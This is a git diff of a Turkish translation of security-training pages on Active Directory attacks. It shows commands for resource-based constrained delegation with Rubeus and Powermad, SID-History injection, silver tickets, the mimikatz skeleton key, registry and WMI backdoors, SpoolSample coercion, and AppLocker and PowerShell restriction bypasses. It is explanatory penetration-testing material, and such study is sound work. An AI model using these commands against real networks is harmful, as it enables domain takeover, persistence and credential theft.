delegasyonu istismar ettiğiniz için bu **çalışacaktır**. 4. Saldırgan, **bilet geçişi** yapabilir ve kullanıcıyı **kurban ServiceB'ye erişim sağlamak için taklit edebilir**. Alan adının _**MachineAccountQuota**_ değerini kontrol etmek için şunu kullanabilirsiniz: @@ -40,7 +40,7 @@ Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select Ma ### Bir Bilgisayar Nesnesi Oluşturma -Bir alan içinde bir bilgisayar nesnesi oluşturmak için [powermad](https://github.com/Kevin-Robertson/Powermad)**:** +Bir bilgisayar nesnesi oluşturmak için [powermad](https://github.com/Kevin-Robertson/Powermad)**:** ```powershell import-module powermad New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose @@ -72,7 +72,7 @@ msds-allowedtoactonbehalfofotheridentity ``` ### Tam bir S4U saldırısı gerçekleştirme -Öncelikle, `123456` şifresiyle yeni bir Bilgisayar nesnesi oluşturduk, bu yüzden o şifrenin hash'ine ihtiyacımız var: +Öncelikle, `123456` şifresi ile yeni bir Bilgisayar nesnesi oluşturduk, bu yüzden o şifrenin hash'ine ihtiyacımız var: ```bash .\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local ``` @@ -90,8 +90,8 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:admin ### Erişim -Son komut satırı, **tam S4U saldırısını gerçekleştirecek ve TGS'yi** Administrator'dan kurban makinesine **belleğe** enjekte edecektir.\ -Bu örnekte, Administrator'dan **CIFS** servisi için bir TGS talep edilmiştir, böylece **C$**'ye erişebileceksiniz: +Son komut satırı, **tam S4U saldırısını gerçekleştirecek ve TGS'yi** Yönetici'den kurban makinesine **belleğe** enjekte edecektir.\ +Bu örnekte, Yönetici'den **CIFS** hizmeti için bir TGS talep edilmiştir, böylece **C$**'ye erişebileceksiniz: ```bash ls \\victim.domain.local\C$ ``` @@ -107,7 +107,7 @@ ls \\victim.domain.local\C$ - **`KDC_ERR_BADOPTION`**: Bu, şunları ifade edebilir: - Taklit etmeye çalıştığınız kullanıcı, istenen hizmete erişemiyor (çünkü onu taklit edemezsiniz veya yeterli ayrıcalıklara sahip değildir) - İstenen hizmet mevcut değil (eğer winrm için bir bilet isterseniz ama winrm çalışmıyorsa) - - Oluşturulan fakecomputer, hedef sunucu üzerindeki ayrıcalıklarını kaybetmiştir ve bunları geri vermeniz gerekir. + - Oluşturulan fakecomputer, savunmasız sunucu üzerindeki ayrıcalıklarını kaybetmiştir ve bunları geri vermeniz gerekir. ## Referanslar diff --git a/src/windows-hardening/active-directory-methodology/security-descriptors.md b/src/windows-hardening/active-directory-methodology/security-descriptors.md index de79a6ff9..d4c5a2108 100644 --- a/src/windows-hardening/active-directory-methodology/security-descriptors.md +++ b/src/windows-hardening/active-directory-methodology/security-descriptors.md @@ -4,7 +4,7 @@ ## Güvenlik Tanımlayıcıları -[Belgelerden](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language): Güvenlik Tanımlayıcı Tanım Dili (SDDL), bir güvenlik tanımlayıcısını tanımlamak için kullanılan formatı tanımlar. SDDL, DACL ve SACL için ACE dizelerini kullanır: `ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;` +[Belgelerden](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language): Güvenlik Tanımlayıcı Tanım Dili (SDDL), bir güvenlik tanımlayıcısını tanımlamak için kullanılan formatı belirler. SDDL, DACL ve SACL için ACE dizelerini kullanır: `ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;` **Güvenlik tanımlayıcıları**, bir **nesnenin** başka bir **nesne** üzerindeki **izinlerini** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan, çok ilginç ayrıcalıklar elde edebilirsiniz. @@ -17,7 +17,7 @@ Bir kullanıcıya **uzaktan WMI çalıştırma** erişimi verebilirsiniz [**bunu Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove ``` -### WinRM'e Erişim +### WinRM Erişimi Bir kullanıcıya **winrm PS konsoluna erişim verin** [**bunu kullanarak**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:** ```bash @@ -26,7 +26,7 @@ Set-RemotePSRemoting -UserName student1 -ComputerName -Remove #Remo ``` ### Hash'lara uzaktan erişim -**Kayıt defterine** erişin ve **hash'leri dökün**, böylece **DAMP** kullanarak bir **Reg arka kapısı oluşturun**, böylece istediğiniz zaman **bilgisayarın hash'ini**, **SAM**'i ve bilgisayardaki herhangi bir **önbelleklenmiş AD** kimlik bilgilerini alabilirsiniz. Bu nedenle, bu izni bir **normal kullanıcıya bir Alan Denetleyici bilgisayarı üzerinde** vermek çok faydalıdır: +**Kayıt defterine** erişin ve **hash'leri dökün**, böylece **DAMP** kullanarak bir **Reg arka kapısı oluşturun**, böylece istediğiniz zaman **bilgisayarın hash'ini**, **SAM**'i ve bilgisayardaki herhangi bir **önbelleğe alınmış AD** kimlik bilgilerini alabilirsiniz. Bu nedenle, bu izni bir **normal kullanıcıya bir Alan Denetleyici bilgisayarı üzerinde** vermek çok faydalıdır: ```bash # allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials. Add-RemoteRegBackdoor -ComputerName -Trustee student1 -Verbose diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md index 73635c1d5..890eae1b3 100644 --- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -1,16 +1,16 @@ -# SID-History Enjeksiyonu +# SID-History Injection {{#include ../../banners/hacktricks-training.md}} -## SID History Enjeksiyon Saldırısı +## SID History Injection Attack -**SID History Enjeksiyon Saldırısı**nın odak noktası, **kullanıcıların alanlar arasında göçünü** sağlarken, eski alanın kaynaklarına erişimin devamını temin etmektir. Bu, kullanıcının önceki Güvenlik Tanımlayıcısının (SID) yeni hesabının SID Geçmişine **dahil edilmesiyle** gerçekleştirilir. Özellikle, bu süreç, ana alanın yüksek ayrıcalıklı bir grubunun (örneğin, Enterprise Admins veya Domain Admins) SID'sini SID Geçmişine ekleyerek yetkisiz erişim sağlamak için manipüle edilebilir. Bu istismar, ana alandaki tüm kaynaklara erişim sağlar. +**SID History Injection Attack**'ın odak noktası, **kullanıcıların alanlar arasında göçünü** sağlarken, eski alan kaynaklarına erişimin devamını temin etmektir. Bu, kullanıcının önceki Güvenlik Tanımlayıcısını (SID) yeni hesabının SID Geçmişine **ekleyerek** gerçekleştirilir. Özellikle, bu süreç, ana alandan yüksek ayrıcalıklı bir grubun (örneğin, Enterprise Admins veya Domain Admins) SID'sini SID Geçmişine ekleyerek yetkisiz erişim sağlamak için manipüle edilebilir. Bu istismar, ana alandaki tüm kaynaklara erişim sağlar. Bu saldırıyı gerçekleştirmek için iki yöntem vardır: ya bir **Golden Ticket** ya da bir **Diamond Ticket** oluşturmak. -**"Enterprise Admins"** grubunun SID'sini belirlemek için önce kök alanın SID'sini bulmak gerekir. Tanımlamanın ardından, Enterprise Admins grubunun SID'si kök alanın SID'sine `-519` eklenerek oluşturulabilir. Örneğin, kök alan SID'si `S-1-5-21-280534878-1496970234-700767426` ise, "Enterprise Admins" grubunun sonuçta elde edilen SID'si `S-1-5-21-280534878-1496970234-700767426-519` olacaktır. +**"Enterprise Admins"** grubunun SID'sini belirlemek için, önce kök alanın SID'sini bulmak gerekir. Tanımlamanın ardından, Enterprise Admins grup SID'si kök alanın SID'sine `-519` eklenerek oluşturulabilir. Örneğin, kök alan SID'si `S-1-5-21-280534878-1496970234-700767426` ise, "Enterprise Admins" grubunun sonuçta elde edilen SID'si `S-1-5-21-280534878-1496970234-700767426-519` olacaktır. -Ayrıca **Domain Admins** gruplarını da kullanabilirsiniz, bu grupların SID'si **512** ile biter. +Ayrıca **Domain Admins** gruplarını da kullanabilirsiniz, bu grup **512** ile biter. Diğer bir alanın (örneğin "Domain Admins") grubunun SID'sini bulmanın başka bir yolu: ```powershell @@ -99,14 +99,14 @@ export KRB5CCNAME=hacker.ccache # psexec in domain controller of root psexec.py /Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10 ``` -#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) +#### Otomatik olarak [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) kullanarak -Bu, **çocuk alanından ebeveyn alanına yükseltmeyi otomatikleştiren** bir Impacket betiğidir. Betik şunları gerektirir: +Bu, **çocuk alanından ebeveyn alanına yükselmeyi otomatikleştiren** bir Impacket betiğidir. Betiğin ihtiyaçları: - Hedef alan denetleyicisi - Çocuk alanındaki bir yönetici kullanıcısı için kimlik bilgileri -Akış şudur: +Akış şu şekildedir: - Ebeveyn alanının Enterprise Admins grubunun SID'sini alır - Çocuk alanındaki KRBTGT hesabının hash'ini alır diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 7ca16ed67..c508a1c4d 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,7 +6,7 @@ ## Silver ticket -**Silver Ticket** saldırısı, Active Directory (AD) ortamlarında hizmet biletlerinin istismarını içerir. Bu yöntem, **bir hizmet hesabının NTLM hash'ini elde etmeye** dayanır, örneğin bir bilgisayar hesabı, bir Ticket Granting Service (TGS) bileti oluşturmak için. Bu sahte bilet ile bir saldırgan, ağdaki belirli hizmetlere erişebilir, **herhangi bir kullanıcıyı taklit ederek**, genellikle yönetici ayrıcalıkları elde etmeyi hedefler. Biletleri sahtelemek için AES anahtarlarının kullanılmasının daha güvenli ve daha az tespit edilebilir olduğu vurgulanmaktadır. +**Silver Ticket** saldırısı, Active Directory (AD) ortamlarında hizmet biletlerinin istismarını içerir. Bu yöntem, **bir hizmet hesabının NTLM hash'ini elde etmeye** dayanır, örneğin bir bilgisayar hesabı, bir Ticket Granting Service (TGS) bileti oluşturmak için. Bu sahte bilet ile bir saldırgan, ağdaki belirli hizmetlere erişebilir, **herhangi bir kullanıcıyı taklit ederek**, genellikle yönetici ayrıcalıkları elde etmeyi hedefler. Biletleri oluştururken AES anahtarlarının kullanılmasının daha güvenli ve daha az tespit edilebilir olduğu vurgulanmaktadır. Bilet oluşturma için, işletim sistemine bağlı olarak farklı araçlar kullanılmaktadır: @@ -32,7 +32,7 @@ CIFS servisi, kurbanın dosya sistemine erişim için yaygın bir hedef olarak ## Mevcut Hizmetler -| Hizmet Türü | Hizmet Gümüş Biletler | +| Hizmet Türü | Hizmet Gümüş Biletleri | | ------------------------------------------ | ------------------------------------------------------------------------ | | WMI |

HOST

RPCSS

| | PowerShell Uzak Bağlantı |

HOST

HTTP

İşletim sistemine bağlı olarak ayrıca:

WSMAN

RPCSS

| @@ -97,7 +97,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -Daha fazla **wmiexec hakkında bilgi** için aşağıdaki sayfayı ziyaret edin: +Daha fazla bilgi için **wmiexec** hakkında aşağıdaki sayfayı inceleyin: {{#ref}} ../lateral-movement/wmiexec.md diff --git a/src/windows-hardening/active-directory-methodology/skeleton-key.md b/src/windows-hardening/active-directory-methodology/skeleton-key.md index 468f2569b..b93683ae6 100644 --- a/src/windows-hardening/active-directory-methodology/skeleton-key.md +++ b/src/windows-hardening/active-directory-methodology/skeleton-key.md @@ -4,9 +4,9 @@ ## Skeleton Key Attack -**Skeleton Key saldırısı**, saldırganların **Active Directory kimlik doğrulamasını atlamasına** olanak tanıyan sofistike bir tekniktir; bu, **alan denetleyicisine bir ana şifre enjekte edilmesiyle** gerçekleştirilir. Bu, saldırgana **herhangi bir kullanıcı olarak kimlik doğrulama** yapma imkanı tanır ve böylece **alana sınırsız erişim** sağlar. +**Skeleton Key saldırısı**, saldırganların **Active Directory kimlik doğrulamasını atlamasına** olanak tanıyan sofistike bir tekniktir; bu, alan denetleyicisine **bir ana şifre enjekte ederek** gerçekleştirilir. Bu, saldırgana **herhangi bir kullanıcı olarak kimlik doğrulama** yapma imkanı tanır ve böylece **alan üzerinde sınırsız erişim** sağlar. -Bu saldırı, [Mimikatz](https://github.com/gentilkiwi/mimikatz) kullanılarak gerçekleştirilebilir. Bu saldırıyı gerçekleştirmek için **Domain Admin hakları gereklidir** ve saldırganın her alan denetleyicisini hedef alması, kapsamlı bir ihlal sağlamak için şarttır. Ancak, saldırının etkisi geçicidir; çünkü **alan denetleyicisinin yeniden başlatılması kötü amaçlı yazılımı ortadan kaldırır**, bu da sürdürülebilir erişim için yeniden uygulanmasını gerektirir. +Bu saldırı, [Mimikatz](https://github.com/gentilkiwi/mimikatz) kullanılarak gerçekleştirilebilir. Bu saldırıyı gerçekleştirmek için **Domain Admin hakları gereklidir** ve saldırganın her alan denetleyicisini hedef alması, kapsamlı bir ihlal sağlamak için gereklidir. Ancak, saldırının etkisi geçicidir; çünkü **alan denetleyicisinin yeniden başlatılması kötü amaçlı yazılımı ortadan kaldırır**, bu da sürdürülebilir erişim için yeniden uygulanmasını gerektirir. **Saldırıyı gerçekleştirmek** için tek bir komut gereklidir: `misc::skeleton`. diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index 9bcd19806..d0348c928 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -4,7 +4,7 @@ ## Unconstrained delegation -Bu, bir Alan Yöneticisinin alan içindeki herhangi bir **Bilgisayar** için ayarlayabileceği bir özelliktir. Daha sonra, bir **kullanıcı Bilgisayara giriş yaptığında**, o kullanıcının **TGT'sinin bir kopyası** DC tarafından sağlanan **TGS'ye gönderilecek** ve **LSASS'ta bellekte saklanacaktır**. Bu nedenle, makinede Yönetici ayrıcalıklarınız varsa, **biletleri dökebilir ve kullanıcıları taklit edebilirsiniz**. +Bu, bir Alan Yöneticisinin alan içindeki herhangi bir **Bilgisayar** için ayarlayabileceği bir özelliktir. Daha sonra, bir **kullanıcı Bilgisayara giriş yaptığında**, o kullanıcının **TGT'sinin bir kopyası** DC tarafından sağlanan **TGS'ye gönderilecek** ve **LSASS'ta bellekte saklanacaktır**. Yani, makinede Yönetici ayrıcalıklarınız varsa, **biletleri dökebilir ve kullanıcıları taklit edebilirsiniz**. Bu nedenle, "Unconstrained Delegation" özelliği etkinleştirilmiş bir Bilgisayara giriş yapan bir alan yöneticisi varsa ve o makinede yerel yönetici ayrıcalıklarınız varsa, bileti dökebilir ve Alan Yöneticisini her yerde taklit edebilirsiniz (alan privesc). @@ -30,9 +30,9 @@ Daha fazla bilgi: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](htt ### **Force Authentication** Eğer bir saldırgan "Unconstrained Delegation" için izin verilen bir bilgisayarı **ele geçirebilirse**, bir **Yazıcı sunucusunu** **otomatik olarak giriş yapmaya** **kandırabilir** ve bu da sunucunun belleğinde bir TGT **kaydedebilir**.\ -Daha sonra, saldırgan, kullanıcı Yazıcı sunucu bilgisayar hesabını taklit etmek için **Pass the Ticket saldırısı** gerçekleştirebilir. +Daha sonra, saldırgan **Yazıcı sunucu bilgisayar hesabını taklit etmek için Pass the Ticket saldırısı** gerçekleştirebilir. -Bir yazıcı sunucusunun herhangi bir makineye giriş yapmasını sağlamak için [**SpoolSample**](https://github.com/leechristensen/SpoolSample) kullanabilirsiniz: +Bir yazıcı sunucusunu herhangi bir makineye giriş yapması için [**SpoolSample**](https://github.com/leechristensen/SpoolSample) kullanabilirsiniz: ```bash .\SpoolSample.exe ``` diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index c7765d445..66e5934e0 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -4,10 +4,10 @@ ## AppLocker Politikası -Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya yürütülebilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır. +Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya çalıştırılabilir dosyaların bir listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. Yürütülebilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri üzerinde **ince ayar kontrolü** sağlar.\ -Organizasyonların **cmd.exe ve PowerShell.exe'yi** ve belirli dizinlere yazma erişimini **engellemesi** yaygındır, **ancak bunların hepsi atlatılabilir**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. **Çalıştırılabilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri** üzerinde **ince ayar kontrolü** sağlar.\ +Organizasyonların **cmd.exe ve PowerShell.exe'yi engellemesi** ve belirli dizinlere yazma erişimi sağlaması yaygındır, **ancak bunların hepsi atlatılabilir**. ### Kontrol @@ -56,7 +56,7 @@ LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kon ### LSA gizli bilgileri -LSA, diskte bazı kimlik bilgilerini kaydedebilir: +LSA, diske bazı kimlik bilgilerini kaydedebilir: - Aktif Dizin'in bilgisayar hesabının şifresi (ulaşılamayan alan denetleyicisi). - Windows hizmetlerinin hesaplarının şifreleri @@ -73,7 +73,7 @@ Bu, Aktif Dizin'in veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur. ### Kontrol -**Defender**'ın **durumunu** kontrol etmek için PS cmdlet **`Get-MpComputerStatus`** komutunu çalıştırabilirsiniz (aktif olup olmadığını öğrenmek için **`RealTimeProtectionEnabled`** değerini kontrol edin): +**Defender**'ın **durumunu** kontrol etmek için PS cmdlet **`Get-MpComputerStatus`** komutunu çalıştırabilirsiniz (aktif olup olmadığını öğrenmek için **`RealTimeProtectionEnabled`** değerine bakın):
PS C:\> Get-MpComputerStatus
 
@@ -103,14 +103,14 @@ sc query windefend
 ```
 ## Şifreli Dosya Sistemi (EFS)
 
-EFS, dosyaları **simetrik anahtar** olan **Dosya Şifreleme Anahtarı (FEK)** ile şifreleyerek güvence altına alır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı**, FEK'yi $EFS akışından çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
+EFS, dosyaları **simetrik anahtar** olan **Dosya Şifreleme Anahtarı (FEK)** ile şifreleyerek güvence altına alır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi şifre çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
 
 **Kullanıcı başlatması olmadan şifre çözme senaryoları** şunları içerir:
 
-- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifreleri çözülür.
-- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifreleri çözülür.
+- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifre çözülür.
+- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifre çözülür.
 
-Bu şifreleme yöntemi, **şifreli dosyalara** sahip olan için **şeffaf erişim** sağlar. Ancak, yalnızca sahibin şifresini değiştirmek ve oturum açmak, şifre çözmeye izin vermez.
+Bu şifreleme yöntemi, sahibi için şifreli dosyalara **şeffaf erişim** sağlar. Ancak, sahibin şifresini değiştirmek ve oturum açmak, şifre çözmeye izin vermez.
 
 **Ana Noktalar**:
 
@@ -121,7 +121,7 @@ Bu şifreleme yöntemi, **şifreli dosyalara** sahip olan için **şeffaf erişi
 
 ### EFS bilgilerini kontrol et
 
-Bir **kullanıcının** bu **hizmeti** kullanıp kullanmadığını kontrol etmek için bu yolun var olup olmadığını kontrol edin: `C:\users\\appdata\roaming\Microsoft\Protect`
+Bir **kullanıcının** bu **hizmeti** kullanıp kullanmadığını kontrol etmek için bu yolun var olup olmadığını kontrol edin:`C:\users\\appdata\roaming\Microsoft\Protect`
 
 Dosyaya **kimlerin** **erişimi** olduğunu kontrol etmek için cipher /c \\
 Ayrıca, bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak tüm dosyaları **şifreleyebilir** ve **şifre çözebilirsiniz**.
@@ -130,7 +130,7 @@ Ayrıca, bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak
 
 #### Yetki Sistemi Olmak
 
-Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işleminin token'ını taklit edebilirsiniz (`impersonate_token` from `incognito`). Ya da sadece kullanıcının işlemine `migrate` yapabilirsiniz.
+Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işlem token'ını taklit edebilirsiniz (`impersonate_token` from `incognito`). Ya da sadece kullanıcının işlemine `migrate` yapabilirsiniz.
 
 #### Kullanıcının şifresini bilmek
 
@@ -140,13 +140,13 @@ Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** ça
 
 Microsoft, IT altyapılarındaki hizmet hesaplarının yönetimini basitleştirmek için **Grup Yönetilen Hizmet Hesapları (gMSA)** geliştirmiştir. Geleneksel hizmet hesaplarının genellikle "**Şifre asla süresi dolmaz**" ayarı etkinken, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar:
 
-- **Otomatik Şifre Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik olarak değişen karmaşık, 240 karakterli bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Servisi (KDC) tarafından yönetilir ve manuel şifre güncellemeleri gereksiz hale gelir.
+- **Otomatik Şifre Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik olarak değişen karmaşık, 240 karakterli bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Servisi (KDC) tarafından yönetilir ve manuel şifre güncellemelerine gerek kalmaz.
 - **Geliştirilmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışık olup, etkileşimli oturum açmak için kullanılamaz, böylece güvenliklerini artırır.
 - **Birden Fazla Ana Bilgisayar Desteği**: gMSA'lar, birden fazla ana bilgisayar arasında paylaşılabilir, bu da onları birden fazla sunucuda çalışan hizmetler için ideal hale getirir.
 - **Zamanlanmış Görev Yeteneği**: Yönetilen hizmet hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler.
 - **Basitleştirilmiş SPN Yönetimi**: Sistem, bilgisayarın sAMaccount ayrıntıları veya DNS adı değiştiğinde Hizmet Prensip Adını (SPN) otomatik olarak güncelleyerek SPN yönetimini basitleştirir.
 
-gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilen, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri bloğudur ve güvenli bir ortam sağlar. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır.
+gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, böylece güvenli bir ortam sağlanır. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır.
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
 
@@ -156,7 +156,7 @@ Bu şifreyi [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordRe
 ```
 [**Bu yazıda daha fazla bilgi bulun**](https://cube0x0.github.io/Relaying-for-gMSA/)
 
-Ayrıca, **gMSA**'nın **şifresini** **okumak** için bir **NTLM relay attack** gerçekleştirme hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin.
+Ayrıca, **gMSA**'nın **şifresini** **okumak** için bir **NTLM relay saldırısı** gerçekleştirme hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin.
 
 ## LAPS
 
@@ -168,7 +168,7 @@ active-directory-methodology/laps.md
 
 ## PS Kısıtlı Dil Modu
 
-PowerShell [**Kısıtlı Dil Modu**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine izin verme, XAML tabanlı iş akışları, PowerShell sınıfları ve daha fazlası. 
+PowerShell [**Kısıtlı Dil Modu**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme.
 
 ### **Kontrol Et**
 ```powershell
@@ -181,7 +181,7 @@ $ExecutionContext.SessionState.LanguageMode
 Powershell -version 2
 ```
 Mevcut Windows'ta bu Bypass çalışmayacak ama [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) kullanabilirsiniz.\
-**Bunu derlemek için** **şunları yapmanız gerekebilir** **:** _**Bir Referans Ekleyin**_ -> _Gözat_ -> _Gözat_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` ekleyin ve **projeyi .Net4.5'e değiştirin**.
+**Bunu derlemek için** **şunları yapmanız gerekebilir** **:** _**Bir Referans Ekle**_ -> _Gözat_ -> _Gözat_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` ekleyin ve **projeyi .Net4.5'e değiştirin**.
 
 #### Doğrudan bypass:
 ```bash
@@ -221,7 +221,7 @@ Daha fazlasını [buradan](https://blog.netspi.com/15-ways-to-bypass-the-powersh
 
 Kullanıcıları kimlik doğrulamak için kullanılabilecek API'dir.
 
-SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir, bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcıları (SSP) olarak adlandırılır, her Windows makinesinin içinde DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir.
